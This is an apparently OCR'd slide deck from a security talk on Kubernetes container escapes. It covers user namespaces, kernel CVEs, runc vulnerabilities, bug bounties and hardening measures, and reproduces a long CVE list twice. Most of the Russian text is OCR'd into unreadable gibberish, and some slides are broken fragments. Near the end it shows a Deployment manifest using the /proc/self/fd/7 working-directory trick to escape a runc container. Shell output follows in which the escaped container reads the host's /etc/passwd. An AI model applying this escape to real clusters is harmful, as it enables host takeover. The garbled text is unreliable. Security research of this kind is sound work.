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 Ha ypoBHe gapa Linux
 Ha ypoBHe KOMMoHeHTOB Kubernetes
 Ha ypoBHe MexaHn3MoB Kubernetes
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NMpoaoormkeH nctopvim ¢ 2021

Dmitriy Evdokimov

ZERONIGHTS){

"Container escapes: Kubernetes edition", Dmitriy Evdokimov, ZeroNights 2021



https://luntry.ru/wp-content/uploads/2023/10/01_zn2021_container_escapes_kubernetes_edition_.pdf

NMpoLidsa Bepcvs Kriacecbonkaumm

Escapes in k8s - attack vectors

Create necessary-evil containers and Pods

Pod with dangerous configurations

Container runtime vulnerabilities
T Kubernetes
Kernel vulnerabilities

k8s vulnerabilities

In theory: hardware
attacks - Exploiting
Speculative Execution

ZERONIGHTS){
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YHYTO nNameHMJ10Chb C TOro BpemMmeHn?

Kubernetes c Bepcnmn 1.19 gowen oo 1.31

[loaBunca BTOpoM oT4eT CToOpoHHero ayguta Kubernetes 1.24 (6b11 gn4a 1.13)
OTMeHeHa nogaep»xka docker

OTMeHeHa nogaepy»xka PodSecurityPolicy (PSP)

MoaBunca PodSecurity Admission (PSA)

[Nepexonbl feature-gates B gpyrmne cragmm

Default seccomp ctan GA

MoaBunca Kubelet-in-UserNS (Rootless mode)

. MNoasumnmncob Ephemeral Containers

10. Kubernetes CVE Feed

11. Kubernetes nepexogut Cgroup vl Ha Cgroup v2

12. NoaBsunca UserNamespacesSupport

13. Forensic Container Checkpointing

14. Jo6aBunuck ValidatingAdmissionPolicy 1 MutatingAdmissionPolicy
15. Mopgnep»xka AppArmor B stable

16. 1 Tak ganee ...

©EONO AN WN



KCTF un kernelCTF
© -

We just announced a new bug bounty on a hardened
kubernetes cluster.

The fun part: 1days are explicitly in scope!
Want to exploit a public #syzkaller bug that hasn't been
patched in our cluster yet? That's fair game.

More info here:

Expanding our work with the open source security community

Go Ie Posted by Eduardo Vela, Vulnerability Collector, Google At
g Google, we've always believed in the benefits and importance...

& security.googleblog.com

4:53 PM - May 28, 2020 - Twitter for Android

Introducing kernelCTF

To better align incentives with our areas of interest, we are shifting our focus from GKE and
kCTF to the latest stable kernel and our mitigations. As a result, starting today we will handle
kernel exploit submissions under a new name, "kernelCTF," with its own reward structure and
submission process. The maximum total payout for kernelCTF is still $133,337 per
submission. While the specific GKE kernel configuration is still covered by the new
kernelCTF, exploits affecting non-kernel components like the full GKE stack (including
Kubernetes), the container runtime, and GKE itself, are now separately eligible for
vulnerability rewards under the kKCTF VRP which is returning to its original reward amounts
and conditions.
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Cloud-Native/Container Ha Pwn20wn

Master of Pwn

Target Prize Points
Docker Desktop $60,000 6
containerd $60,000 6
Firecracker $60,000 6
gRPC $30,000 3

Pwn20wn Vancouver 2024: Bringing Cloud-Native/Container Security to Pwn20wn



https://www.zerodayinitiative.com/blog/2024/1/16/pwn2own-vancouver-2024-bring-cloud-nativecontainer-security-to-pwn2own







FF
ONE

2024

Ve 'd =4

MNo6ern B 2024

a4 55 _ssee’ echg "ty

@V

\\4&\2 Wy

0}0’\4’

/':@VH}‘EChO StS ts tegy .
- tesy
., /K

\
R w7

"'lSBJ meme e ey A



OTKvO O MOXKHO C6eXATb?

Ha ypoBHe NMpUioXKeHunm

Ha ypoBHe MexaHM3MOoB K8s

Ha ypoBHe KOMMNOHEHTOB K8s

Ha ypoBHe gpa Linux




OTKvAOA MOXNKHO CO6eXATb?

Ha ypoBHE NMPUNOXKeHNM

Ha ypoBHe MexaHn3MOoB K8s

Ha ypoBHe KOMMNOHEHTOB K8s

Ha ypoBHe aapa Linux




BlackHat vs WhiteHat =)

Black Hat White Hat
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Root, capability's, namespaces, ...

NcTopus root nonb3osaTtens u capability BEKOH

Bexu passutuna

- [o Bepcuu Linux 2.2
* 101999 ropa
* [lonb3oeatens root (UID Q) co Bcemu npuBunernamm
* OcranbHble nonb3osaTtenu (UID He O) 6e3 npmuBunerni

« CBepcunLinux 2.2 po 3.8
* [MpuBunermuun nonb3oeartena root pazbueaiotca Ha capability
+  Ha npumep, CAP_NET_ADMIN, CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE v T.a.

» Capability MoxHo 3abupaTb 1 BblOaBaTb
* 3a capability no cyTn ckpblBaeTCA CUCTEMHbIN Bbi30B C ornpeaeneHHbIMKU aprymMeHTamMm

« CBepcun Linux 3.8

« C2013ron
. S) 1 geneHue Ha initial u unprivileged user namespaces

» Capability nepectanu HocuTb rnobanbHblv XapaKTep, a CTanv OTHOCUTCA K USer namespaces
* [loaewunca Global root 310 root B initial user namespace

Koxdepesuma no BEzonacHoCTH KOHTERHEPOR M KDHTERAHEDHEX CPen

"Linux user namespace B Yeptorax Kubernetes", Iimutpopmnm EBopokmmMoB, beKoH 2024



https://luntry.ru/research

unshare()

Creation of new namespaces using clone(2) and unshare(2) in most
cases requires the CAP_SYS _ADMIN capability, since, in the new
namespace, the creator will have the power to change global
resources that are visible to other processes that are
subsequently created in, or join the namespace. User namespaces
are the exception: since Linux 3.8, no privilege is required to
create a user namespace.

unshare(2)

The unshare(2) system call moves the calling process to a
new namespace. If the flags argument of the call
specifies one or more of the CLONE_NEW* flags listed
above, then new namespaces are created for each flag, and
the calling process is made a member of those namespaces.
(This system call also implements a number of features
unrelated to namespaces.)




Oooops!

Creation of new namespaces using clone(2) and unshare(2) in most
cases requires the CAP_SYS _ADMIN capability, since, in the new
namespace, the creator will have the power to change global
resources that are visible to other processes that are
subsequently created in, or join the namespace. User namespaces
are the exception: since Linux 3.8, no privilege is required to
create a user namespace.

root@nginx-deployment—fc57c95c8-cvw5l: /# su tester
tester@nginx-deployment—fc57c95c8-cvw51l: /$ id
uid=1000(tester) gid=1000(tester) groups=1000(tester),6100(users)

tester@nginx—-deployment—fc57c95c8-cvw51l:/$ unshare -r
root@nginx-deployment—fc57c95c8-cvw5l: /# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@nginx—-deployment—fc57c95c8-cvw5l: /#




YBeriumBdeM NnoBepXHOCTb ATAKM HA AP0

PaHblLe 3TO MOTr caenaTb TOJIbKO MPUBUNETrMPOBAHHbIV MOJIb30BaTe b, a TENepPb U
OObIYHbIN

@ignatkn £ CLOUDFL

Why does it happen?

int some kernel func(void) paycontain
{ bugs

1f (!capable (CAP _SYS ADMIN))
return -EPERM;

inzgg some privileged StuEE:EZD

}

"Linux user namespaces: a blessing and a curse”, Ignat Korchagin



https://www.slideshare.net/slideshow/linuxnamespacespdf/263209007

NMpuumep: CVE-2022-0185

JIXCVE-2022-0185 Detail

Description

A heap-based buffer overflow flaw was found in the way the legacy parse param function in the Filesystem Context functionality of the Linux

kernel verified the supplied parameters length. An unprivileged (in case of unprivileged user namespaces enabled, otherwise needs

namespaced CAP_SYS_ADMIN privilege) local user able to open a filesystem that does not support the Filesystem Context API (and thus

fallbacks to legacy handling) could use this flaw to escalate their privileges on the system.

Metrics | cussversiona.o TRE MBI  CVss Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 3.x Severity and Vector Strings:

m NIST: NVD Base Score: [[EHiGH] Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This bug popped up since 5.1-rc1. It's important to note that you need

the CAP_SYS_ADMIN capability to trigger it, but the permission only needs to be granted in the
CURRENT NAMESPACE. Most unprivileged users can just

unshare (CLONE NEWNS | CLONE NEWUSER) (equivalent of the command unshare -Urm) to enter a
namespace with the CAP_SYS ADMIN permission, and abuse the bug from there; this is what makes
this such a dangerous vulnerability.

CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers



https://www.willsroot.io/2022/01/cve-2022-0185.html

N TOKNX YA3SBMMOCTEeN NpeaoCcTAaTOUHO

YAa3BUMOCTUM a4pa C ynoMmHaHmeM user namespace B OrMCaHmn:

« CVE-2023-44392
« CVE-2023-3500]1
« CVE-2023-31248
« CVE-2023-25809
« CVE-2022-4792°
« CVE-2022-2327

« CVE-2022-0492

« CVE-2022-0185

« CVE-2021-22555

NCTOUYHUMK - cve.mitre.org - user namespace



https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=user+namespace

kernelCTF

YMeHblUeHWe BbiNaaT NpU UCMOSTb30BaHMNK unprivileged user namespaces.

Reward

* $£21.000 if the exploit does not use user namespaces and io_uring

* $10.500 if the exploit uses user namespaces or io_uring

o This reward is based on whether the exploit works on GKE AutoPilot or not. AutoPilot currently does not enable unprivileged user
namespaces and they are also considering disabling io_uring.

e Reduced attack surface bonus (+$20.000)

o Criteria: Exploit works without using unprivileged user namespaces.

kernelCTF rules



https://google.github.io/security-research/kernelctf/rules.html

3aumTd ot unshare() n kernel exploits

1. Mcnonb3oBaHme Default seccomp profile Ha kubelet

M3BeCcTHO TakyKe Kak SeccompDefault m RuntimeDefault.
HeKoTopble KOMMOHEHTblI HE CMOryT NoaHATLCA (Ha npumMep, CNI)

2. Mutation webhook ¢ SeccompDefault npodpunem

CHa4ana TeCTbl B pexxmmMe aygunTta, NMOTOM B pexxmme 6}'IOI-(l/lpOBKl/I

3. Mutation webhook ¢ custom seccomp npodunem

O4eHb OONro M CITOYXXHO M13-33a OOMbLLUOIo KOSIM4YecTBa TECTOB

4. Selinux npodunb

Tonbko gna RedHat based OS

5. YcnoxHeHme 3anycKa 3KCrnaomTa ¢ NoMoLbo AppArmor npodunna

Tonbko Debian based OS
Hy>XHO co3aaTb Npodunib Nog KaXKadbl KOHTENHEP

6. CnegoBaHMe MPUHLMMY HAaUMEHbLLUMX NPUBUNErnif

Rootless koHTeMHepbl, distroless o6pa3bl, container specific OS anga xocTa

7. YCcTaHOBKa oOHOBNEHWIM Oasa agpa

Ob6a3aTeNIbHO, HO 3TO OO0 U TpebyeT Nepe3anyck Nodes knacTepa

8. AnbTepHaTMBHbIe runtimes Ha 6a3e sandbox, BUpTyanmsaumm

Ha npumep, gVisor, Kata containers.
3aMennatoT paboTy KnacTepa, He KaXkaaa Harpyska 3anycTmTcd, 400aBAa0T TOUKY
OTKa3a, TepseTcda observability




26

N
LOR
ON

Ha ypoBHe KOMNOHeHTOB K8s




Contadiner runtime B K8s

Knaccnyeckaa KapTUHKa 33 NyCcKa
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Contadiner runtime B K8s AR
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NcTouHnK - CNCFE Landscape



https://landscape.cncf.io/?_gl=1*g16k0a*_gcl_au*MTQ0OTEzMTQ2Mi4xNzI0Mjk3NzAy*_ga*MjMyODk3ODMuMTcyNDI5NzcwMg..*_ga_VWZ4V8CGRF*MTcyNDI5NzcwMi4xLjEuMTcyNDI5NzcxNC4wLjAuMA..

runc




CVE B runc

ONE

2024

Search Results

‘There are 20 CVE Records that match your search.

Description
A flaw was found in cri-o, where an arbitrary systemd property can be injected via a Pod annotation. Any user who can create a ped with an arbitrary annotation may perform an arbitrary action on the host system.

runc is a CLI tool for spawning and running containers on Linux according to the OCI specification. In runc 1.1.11 and earlier, due to an internal file descriptor leak, an attacker could cause a newly-spawned container process (from runc exec) to have a working directory in the host filesystem namespace, allowing for a
container escape by giving access to the host filesystem ("attack 2"). The same attack could be used by a malicicus image to allow a container process to gain access to the host filesystem through runc run ("attack 1"). Variants of attacks 1 and 2 could be alsc be used to overwrite semi-arbitrary host binaries, allowing for
complete container escapes ("attack 3a" and "attack 3b"). runc 1.1.12 includes patches for this issue.

runc is a CLI tool for spawning and running containers according to the OCI specification. It was found that AppArmor can be bypassed when " /proc” inside the container is symlinked with a specific mount configuration. This issue has been fixed in runc versicn 1.1.5, by prehibiting symlinked " /proc”. See PR #3785 for
details. users are advised to upgrade. Users unable to upgrade should avoid using an untrusted container image.

runc through 1.1.4 has Incorrect Access Control leading to Escalation of Privileges, related to libcontainer/rootfs_linux.go. To exploit this, an attacker must be able to spawn two containers with custom velume-mount configurations, and be able to run custom images. NOTE: this issue exists because of a CVE-2019-19921
regression.

runc is a CLI tool for spawning and running containers according te the OCI specification. In affected versions it was found that roctless runc makes */sys/fs/cgroup” writable in following conditens: 1. when runc is executed inside the user namespace, and the “config.jsen” dees net specify the cgroup namespace to be
unshared (e.g.., ~(docker|podman|nerdctl) run --cgroupns=host”, with Rootless Docker/Podman/nerdctl) or 2. when runc is executed outside the user namespace, and " /sys” is mounted with “rbind, ro” (e.g., "runc spec --rootless”; this condition is very rare). A container may gain the write access to user-owned cgroup
hierarchy ~ /sys/fs/cgroup/user.slice/...” on the host . Other users's cgroup hierarchies are not affected. Users are advised to upgrade to version 1.1.5. Users unable to upgrade may unshare the cgroup namespace (" (docker|podman|nerdctl) run --cgroupns=private)”. This is the default behavior of Docker/Podman/nerdctl
on cgroup v2 hosts. or add ~/sys/fs/cgroup” to “maskedPaths".

runc is a CLI tool for spawning and running containers on Linux according to the OCI specification. A bug was found in runc prior to version 1.1.2 where “runc exec --cap” created processes with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with
inheritable file capabilities to elevate those capabilities to the permitted set during execve(2). This bug did not affect the container security sandbex as the inheritable set never contained more capabilities than were included in the container's bounding set. This bug has been fixed in runc 1.1.2. This fix changes "“runc exec
--cap’ behavior such that the additional capabilities granted to the process being executed (as specified via “--cap” arguments) do not include inheritable capabilities. In addition, “runc spec’ is changed to not set any inheritable capabilities in the created example OCI spec (" config.json”) file.

Moby is an open-source project created by Docker to enable and accelerate software containerization. A bug was found in Maby (Docker Engine) prior to version 20.10.14 where containers were incorrectly started with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling
programs with inheritable file capabilities to elevate those capabilities to the permitted set during “execve(2)”. Normally, when executable programs have specified permitted file capabilities, otherwise unprivileged users and processes can execute those programs and gain the specified file capabilities up to the bounding
set. Due to this bug, containers which included executable programs with inheritable file capabilities allowed otherwise unprivileged users and processes toc additionally gain these inheritable file capabilities up to the container’'s bounding set. Containers which use Linux users and groups to perform privilege separation
inside the container are most directly impacted. This bug did not affect the centainer security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set. This bug has been fixed in Moby (Docker Engine) 20.10.14. Running containers should be stopped, deleted, and
recreated for the inheritable capabilities to be reset. This fix changes Moby {Docker Engine) behavicr such that containers are started with a more typical Linux environment. As a workaround, the entry point of a container can be modified te use a utility like “capsh(1)” to drop inheritable capabilities prier te the primary
process starting.

runc is a CLI tool for spawning and running centainers on Linux according to the OCI specification. In runc, netlink is used internally as a serializaticn system for specifying the relevant container configuration to the " C~ portion of the cede (responsible for the based namespace setup of containers). In all versions of runc
prior to 1.0.3, the encoder did not handle the possibility of an integer overflow in the 16-bit length field for the byte array attribute type, meaning that a large enough malicious byte array attribute could result in the length overflowing and the attribute contents being parsed as netlink messages for container
configuration. This vulnerability requires the attacker to have some control over the configuration of the container and would allow the attacker to bypass the namespace restrictions of the container by simply adding their cwn netlink payload which disables all namespaces. The main users impacted are those who allow
untrusted images with untrusted configurations to run on their machines (such as with shared cloud infrastructure). runc version 1.0.3 contains a fix for this bug. As a workaround, one may try disallowing untrusted namespace paths from your container. It should be noted that untrusted namespace paths would allow the
attacker to disable namespace protecticns entirely even in the absence of this bug.

runc before 1.0.0-rc95 allows a Container Filesystem Breakout via Directory Traversal. To exploit the vulnerability, an attacker must be able to create multiple containers with a fairly specific mount configuration. The problem occurs via a symlink-exchange attack that relies on a race condition.

A privilege escalation flaw was found in cpenshift4/ose-docker-builder. The build container runs with high privileges using a chrooted environment instead of runc. If an attacker can gain access to this build container, they can potentially utilize the raw devices of the underlying node, such as the network and storage
devices, to at least escalate their privileges to that of the cluster admin. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

The docker packages version docker-1.13.1-108.git4ef4b30.el7 as released for Red Hat Enterprise Linux 7 Extras via RHBA-2020:0053 (https://access.redhat.com/errata/RHBA-2020:0053) included an incorrect version of runc that was missing multiple bug and security fixes. One of the fixes regressed in that update was
the fix for CVE-2016-9962, that was previously corrected in the docker packages in Red Hat Enterprise Linux 7 Extras via RHSA-2017:0116 (https://access.redhat.com/errata/RHSA-2017:0116). The CVE-2020-14300 was assigned to this security regression and it is specific to the docker packages produced by Red Hat.
The original issue - CVE-2016-9962 - could possibly allow a process inside container to compromise a process entering container namespace and execute arbitrary code outside of the container. This could lead to compromise of the container host or other containers running on the same container host. This issue only
affects a single version of Docker, 1.13.1-108.git4ef4b30, shipped in Red Hat Enterprise Linux 7. Both earlier and later versions are not affected.

The version of docker as released for Red Hat Enterprise Linux 7 Extras via RHBA-2020:0053 advisory included an incerrect version of runc missing the fix for CVE-2019-5736, which was previcusly fixed via RHSA-2019:0304. This issue could allow a malicious or compromised container to compromise the container host
and other containers running on the same host. This issue only affects docker version 1.13.1-108.git4ef4b30.el7, shipped in Red Hat Enterprise Linux 7 Extras. Both earlier and later versions are not affected.

runc through 1.0-rcé, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image,
or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

runc through 1.0.0-rc9 has Incorrect Access Control leading to Escalation of Privileges, related to libcontainer/rootfs_linux.go. To exploit this, an attacker must be able to spawn two containers with custom volume-mount configurations, and be able to run custem images. (This vulnerability does not affect Docker due to an
implementation detail that happens to block the attack.)

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfs_linux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory.

Cloud Foundry Garden-runC, versions prior to 1.13.0, does not correctly enforce disc quotas for Docker image layers. A remote authenticated user may push an app with a malicious Docker image that will consume more space on a Diego cell than allocated in their quota, potentially causing a DoS against the cell.

Cloud Foundry Garden-runC, versions prior to 1.11.0, contains an information exposure vulnerability. A user with access te Garden logs may be able to obtain leaked credentials and perform authenticated actions using those credentials.

Cloud Foundry Garden-runC release, versions prior to 1.16.1, prevents deletion of some app environments based on file attributes. A remote authenticated malicious user may create and delete apps with crafted file attributes to cause a denial of service for new app instances or scaling up of existing apps.

RunC allowed additional container processes via 'runc exec' to be ptraced by the pid 1 of the container. This allows the main processes of the container, if running as roct, to gain access to file-descriptors of these new processes during the initialization and can lead to container escapes or madification of runC state before
the process is fully placed inside the container.

libcontainer/user/user.ge in runC befere 0.1.0, as used in Docker before 1.11.2, improperly treats a numeric UID as a potential username, which allows lecal users to gain privileges via a numeric username in the passwerd file in a container.

NCTOUYHUKK - cve.mitre.org - runc vulns



https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=RunC+
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Search Results
|There are 20 CVE Records that match your search.

Name Description

CVE-2024-21626 runc is a CLI tool for spawning and running containers on Linux accerding to the OCI specification. In runc 1.1.11 and earlier, due to an internal file descriptor leak, an attacker could cause a newly-spawned coentainer process (from runc exec) to have a working directory in the host filesystem namespace, allowing for a
container escape by giving access to the host filesystem ("attack 2"). The same attack could be used by a malicious image to allow a container process to gain access to the host filesystem through runc run ("attack 1"). Variants of attacks 1 and 2 could be alse be used to overwrite semi-arbitrary host binaries, allowing f
complete container escapes ("attack 3a" and "attack 3b"). runc 1.1.12 includes patches for this issue.

details. users are advised to upgrade. Users unable te upgrade should avoid using an untrusted container image.

CVE-2023-27561 runc through 1.1.4 has Incorrect Access Control leading to Escalation of Privileges, related to libcontainer/rootfs_linux.go. To exploit this, an attacker must be able to spawn two containers with custom volume-mount configurations, and be able to run custom images. NOTE: this issue exists because of a CVE-2019-19921
regression.

CVE-2023-25809 runc is a CLI tool for spawning and running centainers according to the OCI specification. In affected versicns it was found that rootless runc makes /sys/fs/cgroup” writable in following conditons: 1. when runc is executed inside the user namespace, and the “config.jsen” does not specify the cgroup namespace to be
unshared (e.g.., ~(docker|podman|nerdctl) run --cgroupns=host™, with Rootless Docker/Podman/nerdctl) or 2. when runc is executed outside the user namespace, and ~/sys™ is mounted with “rbind, re” (e.g., “runc spec --rootless” ; this conditicn is very rare). A container may gain the write access to user-owned cgroup
hierarchy ° /sys/fs/cgroup/user.slice/...” on the host . Other users's cgroup hierarchies are not affected. Users are advised to upgrade to version 1.1.5. Users unable to upgrade may unshare the cgroup namespace (" (docker|podman|nerdctl) run --cgroupns=private)”. This is the default behavior of Docker/Podman/nerdctl
on cgroup v2 hosts. or add ~ /sys/fs/cgroup” to ~maskedPaths”

CVE-2022-29162 runc is a CLI tool for spawning and running containers on Linux according to the OCI specification. A bug was found in runc prior to version 1.1.2 where "runc exec --cap” created processes with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with
inheritable file capabilities to elevate those capabilities to the permitted set during execve(2). This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set. This bug has been fixed in runc 1.1.2. This fix changes “runc exec
--cap” behavior such that the additional capabilities granted te the process being executed (as specified via “--cap”™ arguments) do not include inheritable capabilities. In addition, “runc spec” is changed to not set any inheritable capabilities in the created example OCI spec (" config.json ™) file.

CVE-2022-24769 Maby is an open-source project created by Docker to enable and accelerate software containerization. A bug was found in Moby (Docker Engine) prior to version 20.10.14 where containers were incorrectly started with non-empty inheritable Linux process capabilities, creating an atypical Linux envirenment and enabling
programs with inheritable file capabilities to elevate those capabilities to the permitted set during “execve(2) . Normally, when executable programs have specified permitted file capabilities, otherwise unprivileged users and processes can execute those programs and gain the specified file capabilities up to the bounding
set. Due to this bug, centainers which included executable programs with inheritable file capabilities allowed otherwise unprivileged users and processes to additionally gain these inheritable file capabilities up to the container's bounding set. Containers which use Linux users and groups to perform privilege separaticn
inside the container are most directly impacted. This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set. This bug has been fixed in Moby (Docker Engine) 20.10.14. Running containers should be stopped, deleted, and
recreated for the inheritable capabilities to be reset. This fix changes Moby (Docker Engine) behavicr such that containers are started with a more typical Linux environment. As a workaround, the entry point of a container can be modified to use a utility like “capsh(1)" to drop inheritable capabilities prior to the primary
process starting.

CVE-2021-43784 runc is a CLI tool for spawning and running centainers on Linux accerding to the OCI specification. In runc, netlink is used internally as a serialization system for specifying the relevant container configuration to the “C° portion of the code (respensible for the based namespace setup of containers). In all versions of runc
prior to 1.0.3, the encoder did not handle the possibility of an integer overflow in the 16-bit length field for the byte array attribute type, meaning that a large enough malicious byte array attribute could result in the length overflowing and the attribute contents being parsed as netlink messages for container
configuration. This vulnerability requires the attacker to have some control over the configuration of the container and would allow the attacker to bypass the namespace restrictions of the container by simply adding their own netlink payload which disables all namespaces. The main users impacted are those who allow
untrusted images with untrusted configurations to run on their machines (such as with shared cloud infrastructure). runc version 1.0.3 contains a fix for this bug. As a workaround, one may try disallowing untrusted namespace paths from your container. It should be noted that untrusted namespace paths would allow the
attacker to disable namespace protections entirely even in the absence of this bug.

CVE-2021-30465 runc before 1.0.0-r¢95 allows a Container Filesystem Breakout via Directory Traversal. To exploit the vulnerability, an attacker must be able to create multiple containers with a fairly specific mount configuration. The problem occurs via a symlink-exchange attack that relies on a race condition.

CVE-2021-20182 A privilege escalation flaw was found in openshift4/ose-docker-builder. The build container runs with high privileges using a chrooted environment instead of runc. If an attacker can gain access to this build container, they can potentially utilize the raw devices of the underlying node, such as the network and storage
devices, to at least escalate their privileges to that of the cluster admin. The highest threat frem this vulnerability is to data confidentiality and integrity as well as system availability.

CVE-2020-14300 The docker packages version docker-1.13.1-108.git4ef4b30.el7 as released for Red Hat Enterprise Linux 7 Extras via RHBA-2020:0053 (https://access.redhat.com/errata/RHBA-2020:0053) included an incarrect version of runc that was missing multiple bug and security fixes. One of the fixes regressed in that update was
the fix for CVE-2016-9962, that was previously cerrected in the docker packages in Red Hat Enterprise Linux 7 Extras via RHSA-2017:0116 (https://access.redhat.com/errata/RHSA-2017:0116). The CVE-2020-14300 was assigned to this security regression and it is specific to the docker packages produced by Red Hat.
The criginal issue - CVE-2016-9962 - could possibly allew a process inside container to compromise a process entering container namespace and execute arbitrary code outside of the container. This could lead to compromise of the container host or cther containers running on the same container host. This issue cnly
affects a single version of Docker, 1.13.1-108.git4ef4b30, shipped in Red Hat Enterprise Linux 7. Both earlier and later versions are not affected.

CVE-2020-14298 The version of docker as released for Red Hat Enterprise Linux 7 Extras via RHBA-2020:0053 advisory included an incorrect version of runc missing the fix for CVE-2019-5736, which was previously fixed via RHSA-2019:0304. This issue could allow a malicious or compromised container to compromise the container host
and other centainers running on the same host. This issue only affects docker version 1.13.1-108.git4ef4b30.el7, shipped in Red Hat Enterprise Linux 7 Extras. Both earlier and later versions are not affected.

CVE-2019-5736  runc through 1.0-rcé, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-centrolled image,
or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

CVE-2015-19921 runc through 1.0.0-rc$ has Incorrect Access Control leading to Escalation of Privileges, related to libcontainer/rootfs_linux.go. To exploit this, an attacker must be able to spawn two containers with custom volume-mount configurations, and be able to run custom images. (This vulnerability does not affect Docker due to an
implementation detail that happens to block the attack.)

CVE-2019-16884 runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfs_linux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory.

CVE-2018-1277 Cloud Foundry Garden-runC, versions prior to 1.13.0, does not correctly enforce disc quotas for Docker image layers. A remote authenticated user may push an app with a malicious Docker image that will consume more space on a Diego cell than allocated in their quota, potentially causing a DoS against the cell.
CVE-2018-1191 Cloud Foundry Garden-runC, versions prier to 1.11.0, contains an information exposure vulnerability. A user with access to Garden logs may be able to obtain leaked credentials and perform authenticated actions using those credentials.

CVE-2018-11084 Cloud Foundry Garden-runC release, versions prior to 1.16.1, prevents deletion of seme app environments based on file attributes. A remote authenticated malicious user may create and delete apps with crafted file attributes to cause a denial of service for new app instances or scaling up of existing apps.

CVE-2016-9962 RunC allowed additional container processes via 'runc exec' to be ptraced by the pid 1 of the container. This allows the main processes of the container, if running as root, to gain access to file-descriptors of these new processes during the initialization and can lead to container escapes or modification of runC state before
the process is fully placed inside the container.

CVE-2016-3697 libcentainer/user/user.go in runC before 0.1.0, as used in Docker before 1.11.2, improperly treats a numeric UID as a potential username, which allows local users to gain privileges via a numeric username in the password file in a container.
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1 kind: Deployment
apiVersion: apps/vl
3 [Fmetadata:
e name: mtkpi
= namespace: pentest
—|spec:
replicas:
selector:
matchLabels:
app: mtkpi
template:
metadata:
labels:
app: mtkpi
spec:
securityContext: # Hacrpouxa ans Bcero Pod-a
17 runAsGroup:
18 runAsUser:
19 fsGroup: # ID BHe paspemeHHOrO aManasoHa
20 - supplementalGroups: [2000]
21 imagePullSecrets:
22 - name: image-pull-secret
23 - containers:
24 = - name: mtkpi
26 workingDir: /proc/self/fd/7
27 [3 livenessProbe:
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kind: Deployment
apiVersion: apps/vl
[FImetadata:
name: mtkpi
namespace: pentest
—-|spec:
replicas:
selector:
matchLabels:
app: mtkpi
template:
metadata:
labels:
app: mtkpi
spec:
securityContext: # Hacrpouxa nna Bcero Pod-a
ranAsGroup:
runAsUser:
fsGroup: # ID BHe paspemeHHOIO aManasoHa
- supplementalGroups: [2000]
imagePullSecrets:
- name: image-pull-secret
- containers:
= - name: mtkpi
fmaos 'ﬁpentest/mtkpi svl.3
workingDir: /proc/self/fd/7
E] llvenessrrope:
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I have no name!@mtkpi-9d948ff85-kmxhd:.$ cat ../../../../etc/passwd
job-working-directory: error retrieving current directory: getcwd: cannot access parent
directories: No such file or directory
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev: /usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:Xx:5:60:games: /usr/games: /usr/sbin/nologin

man:x:6:12:man: /var/cache/man: /usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin: /usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody : x:65534:65534:nobody : /nonexistent: /usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
H ET systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin

messagebus:x:103:106: : /nonexistent: /usr/sbin/nologin
syslog:x:104:110: : /home/syslog: /usr/sbin/nologin
_apt:x:1085:65534: : /nonexistent: /usr/sbin/nologin
uuidd:x:106:112::/run/uuidd: /usr/sbin/nologin
tcpdump:x:107:113: : /nonexistent: /usr/sbin/nologin
sshd:x:108:65534: : /run/sshd: /usr/sbin/nologin
builder:x:1000:1000:builder, ,,:/home/builder:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux:x:109:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
_chrony:x:110:117:Chrony daemon, , , :/var/lib/chrony: /usr/sbin/nologin
ubuntu:x:1002:1002: : /home/ubuntu: /bin/sh

I have no name!@mtkpi-9d948ff85-kmxhd:.$ |
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I have no name!@mtkpi-9d948ff85-kmxhd:.$ cat ../../../../etc/passwd
job-working-directory: error retrieving current directory: getcwd: cannot access parent
